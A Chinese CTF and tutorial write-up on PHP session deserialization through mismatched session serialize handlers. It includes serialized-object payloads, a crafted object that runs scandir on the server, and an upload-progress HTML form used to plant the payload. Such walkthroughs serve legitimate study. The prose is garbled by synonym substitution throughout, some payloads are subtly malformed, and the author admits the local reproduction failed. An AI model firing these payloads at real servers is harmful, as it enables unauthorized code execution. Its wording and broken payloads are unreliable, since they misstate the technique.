注:自 PHP 5.5.4 起可以利用 _phpserialize上述三种处理器中,php_serialize在内部大略地直策应用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限定。
利用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含分外字符(| 和 !) 。
注:查看版本,把稳:在php 5.5.4以前默认选择的是php,5.5.4之后便是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候,设置选择的是php,因此可能会造成漏洞下面我们实例来看看三种不同处理器序列化后的结果。

<?phpini_set('session.serialize_handler', 'php');//ini_set("session.serialize_handler", "php_serialize");//ini_set("session.serialize_handler", "php_binary");session_start();$_SESSION['lemon'] = $_GET['a'];echo "<pre>";var_dump($_SESSION);echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

php : lemon|s:3:"abc";php_serialize : a:1:{s:5:"lemon";s:3:"abc";}php_binary : lemons:3:"abc";

这有什么问题,实在PHP中的Session的实现是没有的问题,危害紧张是由于程序员的Session利用不当而引起的。
如:利用不同引擎来处理session文件。

漏洞造成事理:

前面的前置知识没理解没紧要,我们直接先看识破绽如何造成的,这里涉及的实在是这两个处理器//ini_set('session.serialize_handler', 'php');//ini_set("session.serialize_handler", "php_serialize");当php_serialize处理器处理吸收session,php处理器处理session时便会造成反序列化的可利用,由于php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上|,|O:7:"xiaoxin":1:{s:4:"name";s:7:"xiaoxin";}"此时session值为a:1:{s:7:"session";s:44:"|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}";}当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们布局的payload:|O:7:"xiaoxin:1:{s:4:"name";s:7:"xiaoxin";}"

大略实例

这里拿个大略的实例代码来加深理解定义一个session.php用于吸收session

这两个文件浸染很清晰,他们的php处理器不一样,session.php用于吸收get要求的session值,class.php反序列前会输出“未反序列化”,反序列化后会输出name值,这里我们布局|加序列化字符使class输出name值,则解释反序列化成功先访问session.php,看看自动获取的session

布局payload

得到payload:|O:7:"Xiaoxin":1:{s:4:"name";s:18:"反序列化成功";}在session.php访问并传入参数,在session文件里面可以看到session值已改变

直接访问class.php,就会成功实行反序列化漏洞

不过这只是大略的一个示例,没有考虑到如何掌握session的问题,下面找一道ctf题深入学习一下。

Jarvis OJ——PHPINFO

题目找不到了,本地复现一下,可能和题目有点不一样,环境有问题没实行成功,帮助理解就好了upload_process机制:实战中没有$_SESSION变量赋值时,在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。
在session.upload_process.enabled开启时会启用这个功能,在php.ini中会默认启用这个功能。
利用方法:本地搭建一个表单提交的html文件,上传文件时,如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还须要进行转义,末了 Session 就会保存上传的文件名。
如果没有供应写入 Session 的地方,可以用这种方法。
详细利用看下面布局poc源码:

看到ini_set('session.serialize_handler','php');我们就可以预测这道题该当是考php的session反序列化当我们随便传入一个值时,便会触发__construct()邪术函数,从而涌现phpinfo页面,我们便可以在phpinfo网络信息

漏洞产生事理:这里可以看到默认处理器(序列化处)是php_serialize,但是题目index.php处(也便是反序列化处)利用的是php处理器,经由前面的大略示例可以知道这里由于session的序列化和反序列化的处理器不同,会导致反序列化漏洞,但是这里没有可以掌握session的参数,以是我们可以利用upload_process机制写入session后自动反序列化即会返回命令实行的结果这里的参数session.upload_progress.enabled为on,以是可以利用php的upload_process机制,可以通过上传文件,从而在session文件中写入数据布局序列化payload:

<?phpini_set('session.serialize_handler', 'php_serialize');session_start();class OowoO{ public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);?>

天生payload:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}为防止双引号被转义,在双引号前加上\,除此之外还要加上||O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(FILE)));\";}布局poc:(本地搭建个提交表单,地址记得改一下)

<form action="http://127.0.0.1/php_serialize/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>

抓包

修正filename和Content-Type

这样子布局数据包查看返回包就能看到反序列化后的内容,这里引用文章的图片,本地搭建没复现成功,文章链接在文末

可以看到反序列化成功,命令实行成功,接下来拿flag的步骤我就省略了,本地搭建没flag。

from: https://xz.aliyun.com/t/12507